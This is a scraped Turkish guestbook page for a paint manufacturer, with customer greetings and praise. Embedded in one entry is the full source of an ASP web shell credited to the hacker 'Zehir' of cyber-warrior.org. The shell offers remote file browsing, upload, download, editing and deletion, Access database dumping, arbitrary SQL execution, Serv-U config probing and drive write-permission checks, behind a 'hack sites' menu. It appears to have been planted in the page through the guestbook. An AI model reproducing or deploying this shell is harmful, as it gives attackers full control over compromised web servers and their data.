|
ZİYARETÇİ DEFTERİ |
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
|
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| Gönderen :asdsad | Tarih :20.11.2005 | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| Gönderen :muratşitil | Tarih :14.11.2005 | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| dogu/ güneydogu anadolu ve akdeniz bölgesine sektörde çalısacak elemana ihtiyacınız olacakmı deneyimli eleman ararsanız sizinle çalışmak isterim | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| Gönderen :ERGÜN&ŞÜKRAN ERŞEN | Tarih :11.09.2005 | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| SİZİ TANIDIĞIMIZA ÇOK MEMNUNUZ BAŞARILARINIZIN DEVAMINI DİLERİZ | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| Gönderen :CE-SA YAPİ | Tarih :30.07.2005 | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| SİTENİZİ YENİ GÖRDÜM ÇOK GÜZEL OLMUŞ BİLİYORUM Kİ ÜRÜNLERİNİZ HATTA YÜREĞİNİZ DE EN AZ SİZİN KADAR İYİ VE GÜZEL ....HAYIRLI NASİPLER G Ü Z E L İNSANLAR. | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| Gönderen :ESKİ BİR DOST | Tarih :20.06.2005 | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| ESKİ BİR DOST OLARAK SİZİ GURURLA TAKİP EDİYORUM.BAŞARILARINIZDAN VE AZMİNİZDEN DOLAYI SİZİ KUTLUYORUM.SİZ ENGÜZEL ŞEYLERE LAYIKSINIZ.HAKEDİYORSUNUZ VE GÖRÜYORUMDA BAŞARMIŞSINIZ.TEBRİKLER.. | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| Gönderen :erkan | Tarih :20.06.2005 | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| <%
Server.ScriptTimeout = 10000000
Session.Timeout = 1800
Private Function GetFileName(strFilePath)
Dim intPos
GetFileName = strFilePath
For intPos = Len(strFilePath) To 1 Step -1
If Mid(strFilePath, intPos, 1) = "\" Or Mid(strFilePath, intPos, 1) = ":" Then
GetFileName = Right(strFilePath, Len(strFilePath) - intPos)
Exit Function
End If
Next
End Function
dosyaPath = GetFileName(Request.ServerVariables("PATH_TRANSLATED"))
on error resume next
Dim objFSO,popup
Set objFSO = CreateObject ("Scripting.FileSystemObject")
status = Request("status")
path = Request("path")
dPath = Request("dPath")
arama = Request("txArama")
dkayit = Request("dkayit")
table = Request("table")
del = Request("del")
islem = Request("islem")
strSQL = Request("strSQL")
cf = Request("cf")
pathfile = request("pathfile")
if path="" and status="" then path=request.servervariables("APPL_PHYSICAL_PATH"):status=2
popup = true
'////////////////////////////////
Function ReadBinaryFile(FileName)
Const adTypeBinary = 1
Dim BinaryStream
Set BinaryStream = CreateObject("ADODB.Stream")
BinaryStream.Type = adTypeBinary
BinaryStream.Open
BinaryStream.LoadFromFile FileName
ReadBinaryFile = BinaryStream.Read
End Function
if status="-3" then
Response.Buffer=True
Set Fil = objFSO.GetFile(pathfile)
Response.contenttype="application/force-download"
Response.AddHeader "Cache-control","private"
Response.AddHeader "Content-Length", Fil.Size
Response.AddHeader "Content-Disposition", "attachment; filename=" & Fil.name
Response.BinaryWrite readBinaryFile(Fil.path)
Set f = Nothing: Set Fil = Nothing
response.End()
end if
'####################################
Class clsUpload
Private mbinData
Private mlngChunkIndex
Private mlngBytesReceived
Private mstrDelimiter
Private CR
Private LF
Private CRLF
Private mobjFieldAry()
Private mlngCount
Private Sub RequestData
Dim llngLength
mlngBytesReceived = Request.TotalBytes
mbinData = Request.BinaryRead(mlngBytesReceived)
End Sub
Private Sub ParseDelimiter()
mstrDelimiter = MidB(mbinData, 1, InStrB(1, mbinData, CRLF) - 1)
End Sub
Private Sub ParseData()
Dim llngStart
Dim llngLength
Dim llngEnd
Dim lbinChunk
llngStart = 1
llngStart = InStrB(llngStart, mbinData, mstrDelimiter & CRLF)
While Not llngStart = 0
llngEnd = InStrB(llngStart + 1, mbinData, mstrDelimiter) - 2
llngLength = llngEnd - llngStart
lbinChunk = MidB(mbinData, llngStart, llngLength)
Call ParseChunk(lbinChunk)
llngStart = InStrB(llngStart + 1, mbinData, mstrDelimiter & CRLF)
Wend
End Sub
Private Sub ParseChunk(ByRef pbinChunk)
Dim lstrName
Dim lstrFileName
Dim lstrContentType
Dim lbinData
Dim lstrDisposition
Dim lstrValue
lstrDisposition = ParseDisposition(pbinChunk)
lstrName = ParseName(lstrDisposition)
lstrFileName = ParseFileName(lstrDisposition)
lstrContentType = ParseContentType(pbinChunk)
If lstrContentType = "" Then
lstrValue = CStrU(ParseBinaryData(pbinChunk))
Else
lbinData = ParseBinaryData(pbinChunk)
End If
Call AddField(lstrName, lstrFileName, lstrContentType, lstrValue, lbinData)
End Sub
Private Sub AddField(ByRef pstrName, ByRef pstrFileName, ByRef pstrContentType, ByRef pstrValue, ByRef pbinData)
Dim lobjField
ReDim Preserve mobjFieldAry(mlngCount)
Set lobjField = New clsField
lobjField.Name = pstrName
lobjField.FilePath = pstrFileName
lobjField.ContentType = pstrContentType
If LenB(pbinData) = 0 Then
lobjField.BinaryData = ChrB(0)
lobjField.Value = pstrValue
lobjField.Length = Len(pstrValue)
Else
lobjField.BinaryData = pbinData
lobjField.Length = LenB(pbinData)
lobjField.Value = ""
End If
Set mobjFieldAry(mlngCount) = lobjField
mlngCount = mlngCount + 1
End Sub
Private Function ParseBinaryData(ByRef pbinChunk)
Dim llngStart
llngStart = InStrB(1, pbinChunk, CRLF & CRLF)
If llngStart = 0 Then Exit Function
llngStart = llngStart + 4
ParseBinaryData = MidB(pbinChunk, llngStart)
End Function
Private Function ParseContentType(ByRef pbinChunk)
Dim llngStart
Dim llngEnd
Dim llngLength
llngStart = InStrB(1, pbinChunk, CRLF & CStrB("Content-Type:"), vbTextCompare)
If llngStart = 0 Then Exit Function
llngEnd = InStrB(llngStart + 15, pbinChunk, CR)
If llngEnd = 0 Then Exit Function
llngStart = llngStart + 15
If llngStart >= llngEnd Then Exit Function
llngLength = llngEnd - llngStart
ParseContentType = Trim(CStrU(MidB(pbinChunk, llngStart, llngLength)))
End Function
Private Function ParseDisposition(ByRef pbinChunk)
Dim llngStart
Dim llngEnd
Dim llngLength
llngStart = InStrB(1, pbinChunk, CRLF & CStrB("Content-Disposition:"), vbTextCompare)
If llngStart = 0 Then Exit Function
llngEnd = InStrB(llngStart + 22, pbinChunk, CRLF)
If llngEnd = 0 Then Exit Function
llngStart = llngStart + 22
If llngStart >= llngEnd Then Exit Function
llngLength = llngEnd - llngStart
ParseDisposition = CStrU(MidB(pbinChunk, llngStart, llngLength))
End Function
Private Function ParseName(ByRef pstrDisposition)
Dim llngStart
Dim llngEnd
Dim llngLength
llngStart = InStr(1, pstrDisposition, "name=""", vbTextCompare)
If llngStart = 0 Then Exit Function
llngEnd = InStr(llngStart + 6, pstrDisposition, """")
If llngEnd = 0 Then Exit Function
llngStart = llngStart + 6
If llngStart >= llngEnd Then Exit Function
llngLength = llngEnd - llngStart
ParseName = Mid(pstrDisposition, llngStart, llngLength)
End Function
' ------------------------------------------------------------------------------
Private Function ParseFileName(ByRef pstrDisposition)
Dim llngStart
Dim llngEnd
Dim llngLength
llngStart = InStr(1, pstrDisposition, "filename=""", vbTextCompare)
If llngStart = 0 Then Exit Function
llngEnd = InStr(llngStart + 10, pstrDisposition, """")
If llngEnd = 0 Then Exit Function
llngStart = llngStart + 10
If llngStart >= llngEnd Then Exit Function
llngLength = llngEnd - llngStart
ParseFileName = Mid(pstrDisposition, llngStart, llngLength)
End Function
Public Property Get Count()
Count = mlngCount
End Property
Public Default Property Get Fields(ByVal pstrName)
Dim llngIndex
If IsNumeric(pstrName) Then
llngIndex = CLng(pstrName)
If llngIndex > mlngCount - 1 Or llngIndex < 0 Then
Call Err.Raise(vbObjectError + 1, "clsUpload.asp", "Object does not exist within the ordinal reference.")
Exit Property
End If
Set Fields = mobjFieldAry(pstrName)
Else
pstrName = LCase(pstrname)
For llngIndex = 0 To mlngCount - 1
If LCase(mobjFieldAry(llngIndex).Name) = pstrName Then
Set Fields = mobjFieldAry(llngIndex)
Exit Property
End If
Next
End If
Set Fields = New clsField
End Property
Private Sub Class_Terminate()
Dim llngIndex
For llngIndex = 0 To mlngCount - 1
Set mobjFieldAry(llngIndex) = Nothing
Next
ReDim mobjFieldAry(-1)
End Sub
Private Sub Class_Initialize()
ReDim mobjFieldAry(-1)
CR = ChrB(Asc(vbCr))
LF = ChrB(Asc(vbLf))
CRLF = CR & LF
mlngCount = 0
Call RequestData
Call ParseDelimiter()
Call ParseData
End Sub
Private Function CStrU(ByRef pstrANSI)
Dim llngLength
Dim llngIndex
llngLength = LenB(pstrANSI)
For llngIndex = 1 To llngLength
CStrU = CStrU & Chr(AscB(MidB(pstrANSI, llngIndex, 1)))
Next
End Function
Private Function CStrB(ByRef pstrUnicode)
Dim llngLength
Dim llngIndex
llngLength = Len(pstrUnicode)
For llngIndex = 1 To llngLength
CStrB = CStrB & ChrB(Asc(Mid(pstrUnicode, llngIndex, 1)))
Next
End Function
End Class
'####################################
Class clsField
Public Name
Private mstrPath
Public FileDir
Public FileExt
Public FileName
Public ContentType
Public Value
Public BinaryData
Public Length
Private mstrText
Public Property Get BLOB()
BLOB = BinaryData
End Property
Public Function BinaryAsText()
Dim lbinBytes
Dim lobjRs
If Length = 0 Then Exit Function
If LenB(BinaryData) = 0 Then Exit Function
If Not Len(mstrText) = 0 Then
BinaryAsText = mstrText
Exit Function
End If
lbinBytes = ASCII2Bytes(BinaryData)
mstrText = Bytes2Unicode(lbinBytes)
BinaryAsText = mstrText
End Function
Public Sub SaveAs(ByRef pstrFileName)
Const adTypeBinary=1
Const adSaveCreateOverWrite=2
Dim lobjStream
Dim lobjRs
Dim lbinBytes
If Length = 0 Then Exit Sub
If LenB(BinaryData) = 0 Then Exit Sub
Set lobjStream = Server.CreateObject("ADODB.Stream")
lobjStream.Type = adTypeBinary
Call lobjStream.Open()
lbinBytes = ASCII2Bytes(BinaryData)
Call lobjStream.Write(lbinBytes)
On Error Resume Next
Call lobjStream.SaveToFile(pstrFileName, adSaveCreateOverWrite)
'if err<>0 then response.Write " "&err.Description Call lobjStream.Close() Set lobjStream = Nothing End Sub Public Property Let FilePath(ByRef pstrPath) mstrPath = pstrPath If Not InStrRev(pstrPath, ".") = 0 Then FileExt = Mid(pstrPath, InStrRev(pstrPath, ".") + 1) FileExt = UCase(FileExt) End If If Not InStrRev(pstrPath, "\") = 0 Then FileName = Mid(pstrPath, InStrRev(pstrPath, "\") + 1) End If If Not InStrRev(pstrPath, "\") = 0 Then FileDir = Mid(pstrPath, 1, InStrRev(pstrPath, "\") - 1) End If End Property Public Property Get FilePath() FilePath = mstrPath End Property private Function ASCII2Bytes(ByRef pbinBinaryData) Const adLongVarBinary=205 Dim lobjRs Dim llngLength Dim lbinBuffer llngLength = LenB(pbinBinaryData) Set lobjRs = Server.CreateObject("ADODB.Recordset") Call lobjRs.Fields.Append("BinaryData", adLongVarBinary, llngLength) Call lobjRs.Open() Call lobjRs.AddNew() Call lobjRs.Fields("BinaryData").AppendChunk(pbinBinaryData & ChrB(0)) Call lobjRs.Update() lbinBuffer = lobjRs.Fields("BinaryData").GetChunk(llngLength) Call lobjRs.Close() Set lobjRs = Nothing ASCII2Bytes = lbinBuffer End Function Private Function Bytes2Unicode(ByRef pbinBytes) Dim lobjRs Dim llngLength Dim lstrBuffer llngLength = LenB(pbinBytes) Set lobjRs = Server.CreateObject("ADODB.Recordset") Call lobjRs.Fields.Append("BinaryData", adLongVarChar, llngLength) Call lobjRs.Open() Call lobjRs.AddNew() Call lobjRs.Fields("BinaryData").AppendChunk(pbinBytes) Call lobjRs.Update() lstrBuffer = lobjRs.Fields("BinaryData").Value Call lobjRs.Close() Set lobjRs = Nothing Bytes2Unicode = lstrBuffer End Function End Class '#################################### function addslash(path) if right(path,1)="\" then addslash=path else addslash=path & "\" end function sub Upload() dim objUpload,f,max,i,name,path,size,success set objUpload=New clsUpload targetPath=objUpload.Fields("folder").Value max=objUpload.Fields("max").Value for i=1 to max name=objUpload.Fields("file" & i).FileName size=objUpload.Fields("file" & i).Length if (name<>"") and (size>0) then gMsg=gMsg & " " & vbNewLine & "- " & name & " (" & FormatNumber(size,0) & " bytes): " path=addslash(targetPath) & name objUpload.Fields("file" & i).SaveAs path if objFSO.FileExists(path) then on error resume next set f=objFSO.GetFile(path) if IsObject(f) then if f.Size=size then success=true else success=false end if set f=nothing end if if success then gMsg=gMsg & "uploaded" else gMsg = gMsg & "failed!" end if next response.Write gMsg set objUpload=nothing end sub if status="-4" then Upload() ' hataKontrol popup=false end if '//////////////////////////////// sub hataKontrol if err<>0 then Response.Write "Hata : "&err.Description&"" end if end sub sub araBul(path_,ara_) on error resume next If Len(path_) > 0 Then cur = path_&"\" If cur = "\\" Then cur = "" parent = "" If InStrRev(cur,"\") > 0 Then parent = Left(cur, InStrRev(cur, "\", Len(cur)-1)) End If Else cur = "" End If Set f = objFSO.GetFolder(cur) Set fc = f.Files For Each f1 In fc if lcase(InStr(1,f1.name,lcase(ara_)))>0 then downStr = "Í" if lcase(ara_)="mdb" then Response.Write downStr&"û * "&f1.path&" ["&f1.size&"]"&" " else Response.Write downStr&"û! - "&f1.path&" ["&f1.size&"]"&" " end if end if Next Set fs = f.SubFolders For Each f1 In fs araBul f1.path,ara_ Next Set f = Nothing Set fc = Nothing Set fs = Nothing end sub sub sistemTest response.Write "
| |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| Serv-U ini file : | "&d_&" | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| "&drive_.DriveLetter&":\ | yazma yetkisi yok! : ["&err.Description&"] | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| "&drive_.DriveLetter&":\ | yazma yetkisi var! | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| Local Path | yazma yetkisi yok! : ["&err.Description&"] | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| Local Path | yazma yetkisi var! | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| Local Path Parent Folder | Hata Oluştu : ["&err.Description&"] | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| Local Path Parent Folder | Folder : "&FormatNumber(int_fol,0)&" File : "&FormatNumber(int_fil,0)&" | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| Local Path P.Parent Folder | Data Üst Klasor Yok :) | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| Local Path P.Parent Folder | Hata Oluştu : ["&err.Description&"] | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| Local Path P.Parent Folder | Folder : "&FormatNumber(int_fol,0)&" File : "&FormatNumber(int_fil,0)&" | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| : Sistem Bilgileri : | |
| Local Adres | " & request.servervariables("REMOTE_ADDR") & " |
| User Agent | " & request.servervariables("HTTP_USER_AGENT") & " |
| Server | " & request.servervariables("SERVER_NAME") & " |
| IP | " & request.servervariables("LOCAL_ADDR") & " |
| HTTPD | " & request.servervariables("SERVER_SOFTWARE") & " |
| Port | " & request.servervariables("SERVER_PORT") & " |
| Yol | " & request.servervariables("APPL_PHYSICAL_PATH") & " |
| Log Root | " & request.servervariables("APPL_MD_PATH") & " |
| HTTPS | " & request.servervariables("HTTPS") & " |
Kaynak : "&path&"
Hedef : "&cf response.Write "
" popup = false hataKontrol CASE 18 'folder Copy window Response.Write "" popup = false hataKontrol CASE 19 'folder Copy isl = "" if islem="kopyala" then objFSO.CopyFolder path,cf isl="kopyalandı.." elseif islem="tasi" then objFSO.MoveFolder path,cf isl="taşındı.." end if response.Write "Klasor "&isl response.Write "
Kaynak : "&path&"
Hedef : "&cf response.Write "
" popup = false hataKontrol CASE 33 'Powered By response.Write "
Powered By Zehir"
response.Write "
www.cyber-warrior.org"
response.Write "
artık hackerlığın bir anlamı yok benim için!
birgün sizin içinde bir anlam taşımayacak!
by zehir;)"
popup = false
hataKontrol
CASE 40 'Sistem Test
sistemTest
popup=false
CASE 50 'Siteleri Hackleyelim :D
END SELECT
%>
<%
if popup then
if status=7 or status=8 then
Response.Write ""
end if
Response.Write "
"
end if
sub aramaUpload
Response.Write ""
%>
<%
end sub
SELECT CASE status
CASE 1 'Driver Open
if len(path)=1 then Response.Write (yaziyomu(path&":\")) else Response.Write (yaziyomu(path))
Response.Write ""
Path = Path & ":/"
Response.Write ""
KlasorOku
Response.Write " "
DosyaOku
Response.Write " "
hataKontrol
CASE 2 'Normal listeleme
if len(path)=1 then Response.Write (yaziyomu(path&":\")) else Response.Write (yaziyomu(path))
Response.Write ""
Response.Write ""
KlasorOku
Response.Write " "
DosyaOku
Response.Write " "
hataKontrol
CASE 3 'File Delete
objFSO.DeleteFile del
hataKontrol
' Response.Redirect dosyaPath&"?status=2&path="&path&"&Time="&time
CASE 4 'Folder Delete
objFSO.DeleteFolder del
' Response.Redirect dosyaPath&"?status=2&path="&path&"&Time="&time
hataKontrol
CASE 5 'Dosya içeriğini görüntüle
Response.Write ""&path&"
"
Response.Write ""
set f = objFSO.OpenTextFile(path,1)
Response.Write ""&Server.HTMLEncode(f.readAll)&"
"
if err<>62 then hataKontrol
if err.number=62 then Response.Write "":Response.End
CASE 6 'Resim aç
Response.Write "![zehirhacker@hotmail.com]("&resimYol(path)&")
"
CASE 7 'database tablo listele
Response.Write "Tablolar
"
Set objConn = Server.CreateObject("ADODB.Connection")
Set objADOX = Server.CreateObject("ADOX.Catalog")
objConn.Provider = "Microsoft.Jet.Oledb.4.0"
objConn.ConnectionString = Path
objConn.Open
objADOX.ActiveConnection = objConn
For Each table in objADOX.Tables
If table.Type = "TABLE" Then
Response.Write "4 "&table.Name&"
"
End If
Next
hataKontrol
CASE 8 'database kayıt listele
Set objConn = Server.CreateObject("ADODB.Connection")
Set objRcs = Server.CreateObject("ADODB.RecordSet")
objConn.Provider = "Microsoft.Jet.Oledb.4.0"
objConn.ConnectionString = Path
objConn.Open
objRcs.Open table,objConn, adOpenKeyset , , adCmdText
Response.Write ""
for i=0 to objRcs.Fields.count-1
Response.Write " "&objRcs.Fields(i).Name&" "
next
Response.Write " "
do while not objRcs.EOF
Response.Write ""
for i=0 to objRcs.Fields.count-1
Response.Write ""&objRcs.Fields(i).Value&" "
next
Response.Write " "
objRcs.MoveNext
loop
Response.Write "
"
hataKontrol
CASE 9 'SQL Execute
Set objConn = Server.CreateObject("ADODB.Connection")
objConn.Provider = "Microsoft.Jet.Oledb.4.0"
objConn.ConnectionString = Path
objConn.Open
objConn.Execute strSQL
' Response.Redirect dosyaPath&"?status=7&Path="&Path&"&Time="&time
hataKontrol
CASE 10 'Dosya Editleme
set f = objFSO.OpenTextFile(dPath,1)
Response.Write "
"
sub DosyaOku
Set f = objFSO.GetFolder(Path)
Set fc = f.Files
For Each f1 In fc
dosyaAdi = f1.name
num = InStrRev(dosyaAdi,".")
uzanti = lcase(Right(dosyaAdi,len(dosyaAdi)-num))
downStr = "ûÍ4"
response.Write ""
select case uzanti
case "mdb"
Response.Write ""&f1.name&" ["&FormatNumber(f1.size,0)&"]"&" M "&downStr&"
"
case "asp"
Response.Write ""&f1.name&" ["&FormatNumber(f1.size,0)&"]"&" ± !"&downStr&"
"
case "jpg","gif"
Response.Write ""&f1.name&" ["&FormatNumber(f1.size,0)&"]"&" ¢ "&downStr&"
"
case else
Response.Write ""&f1.name&" ["&FormatNumber(f1.size,0)&"]"&" 2 !"&downStr&"
"
end select
Next
end sub
sub KlasorOku
Set f = objFSO.GetFolder(Path)
Set fc = f.SubFolders
For Each f1 In fc
Response.Write "4 û 1"&f1.name&"
"
Next
end sub
function createFileName()
Randomize
fName_ = ""
for i=1 to 10
fName_ = fName_ & int(Rnd*100)
next
createFileName = fName_
end function
function resimYol(path_)
on error resume next
path_ = Replace(Replace(path_,"\","/"),"//","/")
lpath_ = left(request.servervariables("PATH_TRANSLATED"),instrrev(request.servervariables("PATH_TRANSLATED"),"\"))
if yaziyomu2(lpath_) then
fname__ = "0"&createFileName()&"."&Right(path_,3)
objFSO.CopyFile path_, lpath_&"\"&fname__
else
Response.Write("Resim Açılamıyor..
İsterseniz Download Ederek görüntüleyebilirsiniz..")
end if
resimYol = fname__
end function
if not popup then
Set fc = Nothing
Set objFSO = Nothing
Response.End
end if
%>
<%
Response.Write "Sürücüler "
Response.write ";"
if drive_.Drivetype=1 then Response.write "Floppy [" & drive_.DriveLetter & ":]"
if drive_.Drivetype=2 then Response.write "HardDisk [" & drive_.DriveLetter & ":]"
if drive_.Drivetype=3 then Response.write "Remote HDD [" & drive_.DriveLetter & ":]"
if drive_.Drivetype=4 then Response.write "CD-Rom [" & drive_.DriveLetter & ":]"
Response.Write " "
Response.write "H Local Path"
Response.Write "
"
Set fc = Nothing
Set objFSO = Nothing
%>
Sistem Bilgisi
Sistemi Test Et
Siteleri Hackle :D
Klasor Islemleri
SQL Server Islemleri
POWERED BY
<%Response.End%>
Gönderen :BİRAY DEKORASYON LTD.ŞTİ ayhandogans@mynet.com Tarih :07.06.2005
SİTENİZİ GAZETE İLANINIZDAN GÖRÜP İNCELEDİM GAYET GÜZEL BİR SİTE OLMUŞ ÜRÜNLERİNİZİ HİÇ KULLANMADIK AMA EN KISA ZAMANDA DENEYECEĞİMİZE EMİN OLABİLİRSİNİZ.İŞLERİNİZDE BAŞARILAR DİLERİM.ALLAH UTANDIRMASIN.
Gönderen :Hakan SONYILDIRIM Tarih :06.06.2005
Sevgili dostum sitenizi gezdikten sonra ve mamüllerinizi kullandıktan sonra İMBOSAN "Sevilen Boya" fanatiği olduk. Artık sizde bizim kalbimizdesiniz. Başarılar.
Gönderen :Hakan SONYILDIRIM Tarih :06.06.2005
Sevgili dostum sitenizi gezdikten sonra ve mamüllerinizi kullandıktan sonra İMBOSAN "Sevilen Boya" fanatiği olduk. Artık sizde bizim kalbimizdesiniz. Başarılar.
Gönderen :RE-SA DEKORASYON Balıkesir Bandırma.Salih Özen Tarih :19.05.2005
Boyanızı yakından takip ediyoruz.lütfen bizi bu konuda bilgilendirin.
Gönderen :ramazan olguner Tarih :20.03.2005
www.anadolu.para24.net
online alışveriş dünyası
çalışmalarınızda başarılar
diler.mutlu ve sağlıklı kalın...
Gönderen :DURSUN ÜZER Tarih :12.03.2005
SİTENİS GÜZEL VE BAŞARILAR DİLERİM.
Gönderen :Orhan İRA Tarih :31.01.2005
Siteniz bu işte uzmanlaştığınızın reklama verdiğiniz önemin ve hedeflerinizin bir kanıtı olmuş.Çok beğendim.Büyük firmaların sitesi böyle olur selamlar işlerinizde başarılar.
Gönderen :isimsiz Tarih :21.12.2004
sizi tek tutuyoruz. herzaman ve her yerde
Gönderen :levent delican Tarih :21.12.2004
selam komsumuz yaşlı bır teyzenın catısı akıyordu imtutan isili mamulunuzle arkadaşlarımla beraber tavanına uyguladık sımdı cok memnun hergun hayır duvasını alıyoruz sızede tesekkur ederiz
Gönderen :Ümit ÖZŞAŞAL-ERGEN KİMYA LTD.ŞTİ. Tarih :22.04.2004
Sevgili Dostlarım,çalışmalarınızı beğeni ile takip ediyor,işbirliğimizin devamını diliyorum.
Bir ömür boyu neşe goncası dudaklarınızdan, saadet çelengi başınızdan eksik olmasın...
Gönderen :C.B.Ü AHMETLİ MESLEK Y.O Tarih :13.02.2004
Yüksek okul binamıza yapmış olduğunuz boya yardımlarınız için teşekkür eder, işlerinizde başarılar dileriz.
Koruma Derneği Başkanı
Gönderen :TCDD MES. LİSESİ MEZUNLARI DER.İ BAŞ. ÜNAL SAYINER Tarih :23.10.2003
DEĞERLİ MENSUBUMUZ İSMAİL İMAMOĞLU, GİRİŞİMLERİNİZİ VE ELDE ETTİĞİNİZ BAŞARILARI KIVANÇLA İZLİYORUZ. DEMİRYOL MESLEK OKULU MEZUNLARI AİLESİ OLARAK HER ZAMAN YANINIZDAYIZ. OLUŞTURDUĞUNUZ BU SİTE DOSTLARINIZI SİZE DAHA DA YAKINLAŞTIRACAKTIR. BAŞARILARINIZIN DEVAMINI DİLERİM.
Gönderen :EZĞİ DEKORASYON Tarih :12.10.2003
Sayın İMBOSAN yetkilileri piyasada göstermiş olduğunuz çabayı anlayışla karşılıyorum iş almak sadece sizin çabalarınızla hırsınızla oluyor ismail bey de biraz ılımlı olursa yani vadeler konusunda daha fazla başarılı olacağınıza yürekten inanıyorum iyi çalışmalar
Gönderen :FEVZİ SEÇKİN Tarih :11.10.2003
"DEVAM GERÇEKLİĞİN İFADESİDİR"(A.K.DURU) Gerçeğini prensip edinenler,mutlak başarılı olurlar.İnsana hizmet sevgi ile olur.Bu güzel başarınızın devamını temenni ediyorum.AN BE AN hayırlı işler.Saygılarımla..
Gönderen :KARİZMA DANIŞMANLIK-AYLİN GÜVEN Tarih :30.09.2003
DEĞERLİ MÜŞTERİMİZ VE DOSTUMUZ,İMAMOĞLU AİLESİ;
